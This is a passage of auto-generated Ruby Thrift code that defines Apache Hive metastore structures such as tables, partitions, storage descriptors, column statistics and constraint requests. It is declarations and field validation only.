unless @ownerType.nil? || ::PrincipalType::VALID_VALUES.include?(@ownerType)
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Invalid value of field ownerType!')
end
end
::Thrift::Struct.generate_accessors self
end
class SerDeInfo
include ::Thrift::Struct, ::Thrift::Struct_Union
NAME = 1
SERIALIZATIONLIB = 2
PARAMETERS = 3
FIELDS = {
NAME => {:type => ::Thrift::Types::STRING, :name => 'name'},
SERIALIZATIONLIB => {:type => ::Thrift::Types::STRING, :name => 'serializationLib'},
PARAMETERS => {:type => ::Thrift::Types::MAP, :name => 'parameters', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class Order
include ::Thrift::Struct, ::Thrift::Struct_Union
COL = 1
ORDER = 2
FIELDS = {
COL => {:type => ::Thrift::Types::STRING, :name => 'col'},
ORDER => {:type => ::Thrift::Types::I32, :name => 'order'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class SkewedInfo
include ::Thrift::Struct, ::Thrift::Struct_Union
SKEWEDCOLNAMES = 1
SKEWEDCOLVALUES = 2
SKEWEDCOLVALUELOCATIONMAPS = 3
FIELDS = {
SKEWEDCOLNAMES => {:type => ::Thrift::Types::LIST, :name => 'skewedColNames', :element => {:type => ::Thrift::Types::STRING}},
SKEWEDCOLVALUES => {:type => ::Thrift::Types::LIST, :name => 'skewedColValues', :element => {:type => ::Thrift::Types::LIST, :element => {:type => ::Thrift::Types::STRING}}},
SKEWEDCOLVALUELOCATIONMAPS => {:type => ::Thrift::Types::MAP, :name => 'skewedColValueLocationMaps', :key => {:type => ::Thrift::Types::LIST, :element => {:type => ::Thrift::Types::STRING}}, :value => {:type => ::Thrift::Types::STRING}}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class StorageDescriptor
include ::Thrift::Struct, ::Thrift::Struct_Union
COLS = 1
LOCATION = 2
INPUTFORMAT = 3
OUTPUTFORMAT = 4
COMPRESSED = 5
NUMBUCKETS = 6
SERDEINFO = 7
BUCKETCOLS = 8
SORTCOLS = 9
PARAMETERS = 10
SKEWEDINFO = 11
STOREDASSUBDIRECTORIES = 12
FIELDS = {
COLS => {:type => ::Thrift::Types::LIST, :name => 'cols', :element => {:type => ::Thrift::Types::STRUCT, :class => ::FieldSchema}},
LOCATION => {:type => ::Thrift::Types::STRING, :name => 'location'},
INPUTFORMAT => {:type => ::Thrift::Types::STRING, :name => 'inputFormat'},
OUTPUTFORMAT => {:type => ::Thrift::Types::STRING, :name => 'outputFormat'},
COMPRESSED => {:type => ::Thrift::Types::BOOL, :name => 'compressed'},
NUMBUCKETS => {:type => ::Thrift::Types::I32, :name => 'numBuckets'},
SERDEINFO => {:type => ::Thrift::Types::STRUCT, :name => 'serdeInfo', :class => ::SerDeInfo},
BUCKETCOLS => {:type => ::Thrift::Types::LIST, :name => 'bucketCols', :element => {:type => ::Thrift::Types::STRING}},
SORTCOLS => {:type => ::Thrift::Types::LIST, :name => 'sortCols', :element => {:type => ::Thrift::Types::STRUCT, :class => ::Order}},
PARAMETERS => {:type => ::Thrift::Types::MAP, :name => 'parameters', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}},
SKEWEDINFO => {:type => ::Thrift::Types::STRUCT, :name => 'skewedInfo', :class => ::SkewedInfo, :optional => true},
STOREDASSUBDIRECTORIES => {:type => ::Thrift::Types::BOOL, :name => 'storedAsSubDirectories', :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class Table
include ::Thrift::Struct, ::Thrift::Struct_Union
TABLENAME = 1
DBNAME = 2
OWNER = 3
CREATETIME = 4
LASTACCESSTIME = 5
RETENTION = 6
SD = 7
PARTITIONKEYS = 8
PARAMETERS = 9
VIEWORIGINALTEXT = 10
VIEWEXPANDEDTEXT = 11
TABLETYPE = 12
PRIVILEGES = 13
TEMPORARY = 14
REWRITEENABLED = 15
FIELDS = {
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tableName'},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
OWNER => {:type => ::Thrift::Types::STRING, :name => 'owner'},
CREATETIME => {:type => ::Thrift::Types::I32, :name => 'createTime'},
LASTACCESSTIME => {:type => ::Thrift::Types::I32, :name => 'lastAccessTime'},
RETENTION => {:type => ::Thrift::Types::I32, :name => 'retention'},
SD => {:type => ::Thrift::Types::STRUCT, :name => 'sd', :class => ::StorageDescriptor},
PARTITIONKEYS => {:type => ::Thrift::Types::LIST, :name => 'partitionKeys', :element => {:type => ::Thrift::Types::STRUCT, :class => ::FieldSchema}},
PARAMETERS => {:type => ::Thrift::Types::MAP, :name => 'parameters', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}},
VIEWORIGINALTEXT => {:type => ::Thrift::Types::STRING, :name => 'viewOriginalText'},
VIEWEXPANDEDTEXT => {:type => ::Thrift::Types::STRING, :name => 'viewExpandedText'},
TABLETYPE => {:type => ::Thrift::Types::STRING, :name => 'tableType'},
PRIVILEGES => {:type => ::Thrift::Types::STRUCT, :name => 'privileges', :class => ::PrincipalPrivilegeSet, :optional => true},
TEMPORARY => {:type => ::Thrift::Types::BOOL, :name => 'temporary', :default => false, :optional => true},
REWRITEENABLED => {:type => ::Thrift::Types::BOOL, :name => 'rewriteEnabled', :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class Partition
include ::Thrift::Struct, ::Thrift::Struct_Union
VALUES = 1
DBNAME = 2
TABLENAME = 3
CREATETIME = 4
LASTACCESSTIME = 5
SD = 6
PARAMETERS = 7
PRIVILEGES = 8
FIELDS = {
VALUES => {:type => ::Thrift::Types::LIST, :name => 'values', :element => {:type => ::Thrift::Types::STRING}},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tableName'},
CREATETIME => {:type => ::Thrift::Types::I32, :name => 'createTime'},
LASTACCESSTIME => {:type => ::Thrift::Types::I32, :name => 'lastAccessTime'},
SD => {:type => ::Thrift::Types::STRUCT, :name => 'sd', :class => ::StorageDescriptor},
PARAMETERS => {:type => ::Thrift::Types::MAP, :name => 'parameters', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}},
PRIVILEGES => {:type => ::Thrift::Types::STRUCT, :name => 'privileges', :class => ::PrincipalPrivilegeSet, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class PartitionWithoutSD
include ::Thrift::Struct, ::Thrift::Struct_Union
VALUES = 1
CREATETIME = 2
LASTACCESSTIME = 3
RELATIVEPATH = 4
PARAMETERS = 5
PRIVILEGES = 6
FIELDS = {
VALUES => {:type => ::Thrift::Types::LIST, :name => 'values', :element => {:type => ::Thrift::Types::STRING}},
CREATETIME => {:type => ::Thrift::Types::I32, :name => 'createTime'},
LASTACCESSTIME => {:type => ::Thrift::Types::I32, :name => 'lastAccessTime'},
RELATIVEPATH => {:type => ::Thrift::Types::STRING, :name => 'relativePath'},
PARAMETERS => {:type => ::Thrift::Types::MAP, :name => 'parameters', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}},
PRIVILEGES => {:type => ::Thrift::Types::STRUCT, :name => 'privileges', :class => ::PrincipalPrivilegeSet, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class PartitionSpecWithSharedSD
include ::Thrift::Struct, ::Thrift::Struct_Union
PARTITIONS = 1
SD = 2
FIELDS = {
PARTITIONS => {:type => ::Thrift::Types::LIST, :name => 'partitions', :element => {:type => ::Thrift::Types::STRUCT, :class => ::PartitionWithoutSD}},
SD => {:type => ::Thrift::Types::STRUCT, :name => 'sd', :class => ::StorageDescriptor}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class PartitionListComposingSpec
include ::Thrift::Struct, ::Thrift::Struct_Union
PARTITIONS = 1
FIELDS = {
PARTITIONS => {:type => ::Thrift::Types::LIST, :name => 'partitions', :element => {:type => ::Thrift::Types::STRUCT, :class => ::Partition}}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class PartitionSpec
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TABLENAME = 2
ROOTPATH = 3
SHAREDSDPARTITIONSPEC = 4
PARTITIONLIST = 5
FIELDS = {
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tableName'},
ROOTPATH => {:type => ::Thrift::Types::STRING, :name => 'rootPath'},
SHAREDSDPARTITIONSPEC => {:type => ::Thrift::Types::STRUCT, :name => 'sharedSDPartitionSpec', :class => ::PartitionSpecWithSharedSD, :optional => true},
PARTITIONLIST => {:type => ::Thrift::Types::STRUCT, :name => 'partitionList', :class => ::PartitionListComposingSpec, :optional => true}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class Index
include ::Thrift::Struct, ::Thrift::Struct_Union
INDEXNAME = 1
INDEXHANDLERCLASS = 2
DBNAME = 3
ORIGTABLENAME = 4
CREATETIME = 5
LASTACCESSTIME = 6
INDEXTABLENAME = 7
SD = 8
PARAMETERS = 9
DEFERREDREBUILD = 10
FIELDS = {
INDEXNAME => {:type => ::Thrift::Types::STRING, :name => 'indexName'},
INDEXHANDLERCLASS => {:type => ::Thrift::Types::STRING, :name => 'indexHandlerClass'},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
ORIGTABLENAME => {:type => ::Thrift::Types::STRING, :name => 'origTableName'},
CREATETIME => {:type => ::Thrift::Types::I32, :name => 'createTime'},
LASTACCESSTIME => {:type => ::Thrift::Types::I32, :name => 'lastAccessTime'},
INDEXTABLENAME => {:type => ::Thrift::Types::STRING, :name => 'indexTableName'},
SD => {:type => ::Thrift::Types::STRUCT, :name => 'sd', :class => ::StorageDescriptor},
PARAMETERS => {:type => ::Thrift::Types::MAP, :name => 'parameters', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}},
DEFERREDREBUILD => {:type => ::Thrift::Types::BOOL, :name => 'deferredRebuild'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class BooleanColumnStatsData
include ::Thrift::Struct, ::Thrift::Struct_Union
NUMTRUES = 1
NUMFALSES = 2
NUMNULLS = 3
BITVECTORS = 4
FIELDS = {
NUMTRUES => {:type => ::Thrift::Types::I64, :name => 'numTrues'},
NUMFALSES => {:type => ::Thrift::Types::I64, :name => 'numFalses'},
NUMNULLS => {:type => ::Thrift::Types::I64, :name => 'numNulls'},
BITVECTORS => {:type => ::Thrift::Types::STRING, :name => 'bitVectors', :binary => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numTrues is unset!') unless @numTrues
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numFalses is unset!') unless @numFalses
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numNulls is unset!') unless @numNulls
end
::Thrift::Struct.generate_accessors self
end
class DoubleColumnStatsData
include ::Thrift::Struct, ::Thrift::Struct_Union
LOWVALUE = 1
HIGHVALUE = 2
NUMNULLS = 3
NUMDVS = 4
BITVECTORS = 5
FIELDS = {
LOWVALUE => {:type => ::Thrift::Types::DOUBLE, :name => 'lowValue', :optional => true},
HIGHVALUE => {:type => ::Thrift::Types::DOUBLE, :name => 'highValue', :optional => true},
NUMNULLS => {:type => ::Thrift::Types::I64, :name => 'numNulls'},
NUMDVS => {:type => ::Thrift::Types::I64, :name => 'numDVs'},
BITVECTORS => {:type => ::Thrift::Types::STRING, :name => 'bitVectors', :binary => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numNulls is unset!') unless @numNulls
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numDVs is unset!') unless @numDVs
end
::Thrift::Struct.generate_accessors self
end
class LongColumnStatsData
include ::Thrift::Struct, ::Thrift::Struct_Union
LOWVALUE = 1
HIGHVALUE = 2
NUMNULLS = 3
NUMDVS = 4
BITVECTORS = 5
FIELDS = {
LOWVALUE => {:type => ::Thrift::Types::I64, :name => 'lowValue', :optional => true},
HIGHVALUE => {:type => ::Thrift::Types::I64, :name => 'highValue', :optional => true},
NUMNULLS => {:type => ::Thrift::Types::I64, :name => 'numNulls'},
NUMDVS => {:type => ::Thrift::Types::I64, :name => 'numDVs'},
BITVECTORS => {:type => ::Thrift::Types::STRING, :name => 'bitVectors', :binary => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numNulls is unset!') unless @numNulls
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numDVs is unset!') unless @numDVs
end
::Thrift::Struct.generate_accessors self
end
class StringColumnStatsData
include ::Thrift::Struct, ::Thrift::Struct_Union
MAXCOLLEN = 1
AVGCOLLEN = 2
NUMNULLS = 3
NUMDVS = 4
BITVECTORS = 5
FIELDS = {
MAXCOLLEN => {:type => ::Thrift::Types::I64, :name => 'maxColLen'},
AVGCOLLEN => {:type => ::Thrift::Types::DOUBLE, :name => 'avgColLen'},
NUMNULLS => {:type => ::Thrift::Types::I64, :name => 'numNulls'},
NUMDVS => {:type => ::Thrift::Types::I64, :name => 'numDVs'},
BITVECTORS => {:type => ::Thrift::Types::STRING, :name => 'bitVectors', :binary => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field maxColLen is unset!') unless @maxColLen
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field avgColLen is unset!') unless @avgColLen
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numNulls is unset!') unless @numNulls
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numDVs is unset!') unless @numDVs
end
::Thrift::Struct.generate_accessors self
end
class BinaryColumnStatsData
include ::Thrift::Struct, ::Thrift::Struct_Union
MAXCOLLEN = 1
AVGCOLLEN = 2
NUMNULLS = 3
BITVECTORS = 4
FIELDS = {
MAXCOLLEN => {:type => ::Thrift::Types::I64, :name => 'maxColLen'},
AVGCOLLEN => {:type => ::Thrift::Types::DOUBLE, :name => 'avgColLen'},
NUMNULLS => {:type => ::Thrift::Types::I64, :name => 'numNulls'},
BITVECTORS => {:type => ::Thrift::Types::STRING, :name => 'bitVectors', :binary => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field maxColLen is unset!') unless @maxColLen
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field avgColLen is unset!') unless @avgColLen
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numNulls is unset!') unless @numNulls
end
::Thrift::Struct.generate_accessors self
end
class Decimal
include ::Thrift::Struct, ::Thrift::Struct_Union
UNSCALED = 1
SCALE = 3
FIELDS = {
UNSCALED => {:type => ::Thrift::Types::STRING, :name => 'unscaled', :binary => true},
SCALE => {:type => ::Thrift::Types::I16, :name => 'scale'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field unscaled is unset!') unless @unscaled
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field scale is unset!') unless @scale
end
::Thrift::Struct.generate_accessors self
end
class DecimalColumnStatsData
include ::Thrift::Struct, ::Thrift::Struct_Union
LOWVALUE = 1
HIGHVALUE = 2
NUMNULLS = 3
NUMDVS = 4
BITVECTORS = 5
FIELDS = {
LOWVALUE => {:type => ::Thrift::Types::STRUCT, :name => 'lowValue', :class => ::Decimal, :optional => true},
HIGHVALUE => {:type => ::Thrift::Types::STRUCT, :name => 'highValue', :class => ::Decimal, :optional => true},
NUMNULLS => {:type => ::Thrift::Types::I64, :name => 'numNulls'},
NUMDVS => {:type => ::Thrift::Types::I64, :name => 'numDVs'},
BITVECTORS => {:type => ::Thrift::Types::STRING, :name => 'bitVectors', :binary => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numNulls is unset!') unless @numNulls
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numDVs is unset!') unless @numDVs
end
::Thrift::Struct.generate_accessors self
end
class Date
include ::Thrift::Struct, ::Thrift::Struct_Union
DAYSSINCEEPOCH = 1
FIELDS = {
DAYSSINCEEPOCH => {:type => ::Thrift::Types::I64, :name => 'daysSinceEpoch'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field daysSinceEpoch is unset!') unless @daysSinceEpoch
end
::Thrift::Struct.generate_accessors self
end
class DateColumnStatsData
include ::Thrift::Struct, ::Thrift::Struct_Union
LOWVALUE = 1
HIGHVALUE = 2
NUMNULLS = 3
NUMDVS = 4
BITVECTORS = 5
FIELDS = {
LOWVALUE => {:type => ::Thrift::Types::STRUCT, :name => 'lowValue', :class => ::Date, :optional => true},
HIGHVALUE => {:type => ::Thrift::Types::STRUCT, :name => 'highValue', :class => ::Date, :optional => true},
NUMNULLS => {:type => ::Thrift::Types::I64, :name => 'numNulls'},
NUMDVS => {:type => ::Thrift::Types::I64, :name => 'numDVs'},
BITVECTORS => {:type => ::Thrift::Types::STRING, :name => 'bitVectors', :binary => true, :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numNulls is unset!') unless @numNulls
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field numDVs is unset!') unless @numDVs
end
::Thrift::Struct.generate_accessors self
end
class ColumnStatisticsData < ::Thrift::Union
include ::Thrift::Struct_Union
class << self
def booleanStats(val)
ColumnStatisticsData.new(:booleanStats, val)
end
def longStats(val)
ColumnStatisticsData.new(:longStats, val)
end
def doubleStats(val)
ColumnStatisticsData.new(:doubleStats, val)
end
def stringStats(val)
ColumnStatisticsData.new(:stringStats, val)
end
def binaryStats(val)
ColumnStatisticsData.new(:binaryStats, val)
end
def decimalStats(val)
ColumnStatisticsData.new(:decimalStats, val)
end
def dateStats(val)
ColumnStatisticsData.new(:dateStats, val)
end
end
BOOLEANSTATS = 1
LONGSTATS = 2
DOUBLESTATS = 3
STRINGSTATS = 4
BINARYSTATS = 5
DECIMALSTATS = 6
DATESTATS = 7
FIELDS = {
BOOLEANSTATS => {:type => ::Thrift::Types::STRUCT, :name => 'booleanStats', :class => ::BooleanColumnStatsData},
LONGSTATS => {:type => ::Thrift::Types::STRUCT, :name => 'longStats', :class => ::LongColumnStatsData},
DOUBLESTATS => {:type => ::Thrift::Types::STRUCT, :name => 'doubleStats', :class => ::DoubleColumnStatsData},
STRINGSTATS => {:type => ::Thrift::Types::STRUCT, :name => 'stringStats', :class => ::StringColumnStatsData},
BINARYSTATS => {:type => ::Thrift::Types::STRUCT, :name => 'binaryStats', :class => ::BinaryColumnStatsData},
DECIMALSTATS => {:type => ::Thrift::Types::STRUCT, :name => 'decimalStats', :class => ::DecimalColumnStatsData},
DATESTATS => {:type => ::Thrift::Types::STRUCT, :name => 'dateStats', :class => ::DateColumnStatsData}
}
def struct_fields; FIELDS; end
def validate
raise(StandardError, 'Union fields are not set.') if get_set_field.nil? || get_value.nil?
end
::Thrift::Union.generate_accessors self
end
class ColumnStatisticsObj
include ::Thrift::Struct, ::Thrift::Struct_Union
COLNAME = 1
COLTYPE = 2
STATSDATA = 3
FIELDS = {
COLNAME => {:type => ::Thrift::Types::STRING, :name => 'colName'},
COLTYPE => {:type => ::Thrift::Types::STRING, :name => 'colType'},
STATSDATA => {:type => ::Thrift::Types::STRUCT, :name => 'statsData', :class => ::ColumnStatisticsData}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field colName is unset!') unless @colName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field colType is unset!') unless @colType
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field statsData is unset!') unless @statsData
end
::Thrift::Struct.generate_accessors self
end
class ColumnStatisticsDesc
include ::Thrift::Struct, ::Thrift::Struct_Union
ISTBLLEVEL = 1
DBNAME = 2
TABLENAME = 3
PARTNAME = 4
LASTANALYZED = 5
FIELDS = {
ISTBLLEVEL => {:type => ::Thrift::Types::BOOL, :name => 'isTblLevel'},
DBNAME => {:type => ::Thrift::Types::STRING, :name => 'dbName'},
TABLENAME => {:type => ::Thrift::Types::STRING, :name => 'tableName'},
PARTNAME => {:type => ::Thrift::Types::STRING, :name => 'partName', :optional => true},
LASTANALYZED => {:type => ::Thrift::Types::I64, :name => 'lastAnalyzed', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field isTblLevel is unset!') if @isTblLevel.nil?
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field dbName is unset!') unless @dbName
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tableName is unset!') unless @tableName
end
::Thrift::Struct.generate_accessors self
end
class ColumnStatistics
include ::Thrift::Struct, ::Thrift::Struct_Union
STATSDESC = 1
STATSOBJ = 2
FIELDS = {
STATSDESC => {:type => ::Thrift::Types::STRUCT, :name => 'statsDesc', :class => ::ColumnStatisticsDesc},
STATSOBJ => {:type => ::Thrift::Types::LIST, :name => 'statsObj', :element => {:type => ::Thrift::Types::STRUCT, :class => ::ColumnStatisticsObj}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field statsDesc is unset!') unless @statsDesc
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field statsObj is unset!') unless @statsObj
end
::Thrift::Struct.generate_accessors self
end
class AggrStats
include ::Thrift::Struct, ::Thrift::Struct_Union
COLSTATS = 1
PARTSFOUND = 2
FIELDS = {
COLSTATS => {:type => ::Thrift::Types::LIST, :name => 'colStats', :element => {:type => ::Thrift::Types::STRUCT, :class => ::ColumnStatisticsObj}},
PARTSFOUND => {:type => ::Thrift::Types::I64, :name => 'partsFound'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field colStats is unset!') unless @colStats
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field partsFound is unset!') unless @partsFound
end
::Thrift::Struct.generate_accessors self
end
class SetPartitionsStatsRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
COLSTATS = 1
NEEDMERGE = 2
FIELDS = {
COLSTATS => {:type => ::Thrift::Types::LIST, :name => 'colStats', :element => {:type => ::Thrift::Types::STRUCT, :class => ::ColumnStatistics}},
NEEDMERGE => {:type => ::Thrift::Types::BOOL, :name => 'needMerge', :optional => true}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field colStats is unset!') unless @colStats
end
::Thrift::Struct.generate_accessors self
end
class Schema
include ::Thrift::Struct, ::Thrift::Struct_Union
FIELDSCHEMAS = 1
PROPERTIES = 2
FIELDS = {
FIELDSCHEMAS => {:type => ::Thrift::Types::LIST, :name => 'fieldSchemas', :element => {:type => ::Thrift::Types::STRUCT, :class => ::FieldSchema}},
PROPERTIES => {:type => ::Thrift::Types::MAP, :name => 'properties', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class EnvironmentContext
include ::Thrift::Struct, ::Thrift::Struct_Union
PROPERTIES = 1
FIELDS = {
PROPERTIES => {:type => ::Thrift::Types::MAP, :name => 'properties', :key => {:type => ::Thrift::Types::STRING}, :value => {:type => ::Thrift::Types::STRING}}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class PrimaryKeysRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DB_NAME = 1
TBL_NAME = 2
FIELDS = {
DB_NAME => {:type => ::Thrift::Types::STRING, :name => 'db_name'},
TBL_NAME => {:type => ::Thrift::Types::STRING, :name => 'tbl_name'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field db_name is unset!') unless @db_name
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tbl_name is unset!') unless @tbl_name
end
::Thrift::Struct.generate_accessors self
end
class PrimaryKeysResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
PRIMARYKEYS = 1
FIELDS = {
PRIMARYKEYS => {:type => ::Thrift::Types::LIST, :name => 'primaryKeys', :element => {:type => ::Thrift::Types::STRUCT, :class => ::SQLPrimaryKey}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field primaryKeys is unset!') unless @primaryKeys
end
::Thrift::Struct.generate_accessors self
end
class ForeignKeysRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
PARENT_DB_NAME = 1
PARENT_TBL_NAME = 2
FOREIGN_DB_NAME = 3
FOREIGN_TBL_NAME = 4
FIELDS = {
PARENT_DB_NAME => {:type => ::Thrift::Types::STRING, :name => 'parent_db_name'},
PARENT_TBL_NAME => {:type => ::Thrift::Types::STRING, :name => 'parent_tbl_name'},
FOREIGN_DB_NAME => {:type => ::Thrift::Types::STRING, :name => 'foreign_db_name'},
FOREIGN_TBL_NAME => {:type => ::Thrift::Types::STRING, :name => 'foreign_tbl_name'}
}
def struct_fields; FIELDS; end
def validate
end
::Thrift::Struct.generate_accessors self
end
class ForeignKeysResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
FOREIGNKEYS = 1
FIELDS = {
FOREIGNKEYS => {:type => ::Thrift::Types::LIST, :name => 'foreignKeys', :element => {:type => ::Thrift::Types::STRUCT, :class => ::SQLForeignKey}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field foreignKeys is unset!') unless @foreignKeys
end
::Thrift::Struct.generate_accessors self
end
class UniqueConstraintsRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DB_NAME = 1
TBL_NAME = 2
FIELDS = {
DB_NAME => {:type => ::Thrift::Types::STRING, :name => 'db_name'},
TBL_NAME => {:type => ::Thrift::Types::STRING, :name => 'tbl_name'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field db_name is unset!') unless @db_name
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tbl_name is unset!') unless @tbl_name
end
::Thrift::Struct.generate_accessors self
end
class UniqueConstraintsResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
UNIQUECONSTRAINTS = 1
FIELDS = {
UNIQUECONSTRAINTS => {:type => ::Thrift::Types::LIST, :name => 'uniqueConstraints', :element => {:type => ::Thrift::Types::STRUCT, :class => ::SQLUniqueConstraint}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field uniqueConstraints is unset!') unless @uniqueConstraints
end
::Thrift::Struct.generate_accessors self
end
class NotNullConstraintsRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DB_NAME = 1
TBL_NAME = 2
FIELDS = {
DB_NAME => {:type => ::Thrift::Types::STRING, :name => 'db_name'},
TBL_NAME => {:type => ::Thrift::Types::STRING, :name => 'tbl_name'}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field db_name is unset!') unless @db_name
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field tbl_name is unset!') unless @tbl_name
end
::Thrift::Struct.generate_accessors self
end
class NotNullConstraintsResponse
include ::Thrift::Struct, ::Thrift::Struct_Union
NOTNULLCONSTRAINTS = 1
FIELDS = {
NOTNULLCONSTRAINTS => {:type => ::Thrift::Types::LIST, :name => 'notNullConstraints', :element => {:type => ::Thrift::Types::STRUCT, :class => ::SQLNotNullConstraint}}
}
def struct_fields; FIELDS; end
def validate
raise ::Thrift::ProtocolException.new(::Thrift::ProtocolException::UNKNOWN, 'Required field notNullConstraints is unset!') unless @notNullConstraints
end
::Thrift::Struct.generate_accessors self
end
class DropConstraintRequest
include ::Thrift::Struct, ::Thrift::Struct_Union
DBNAME = 1
TABLENAME = 2
CONSTRAINTNAME = 3
FIELDS = {
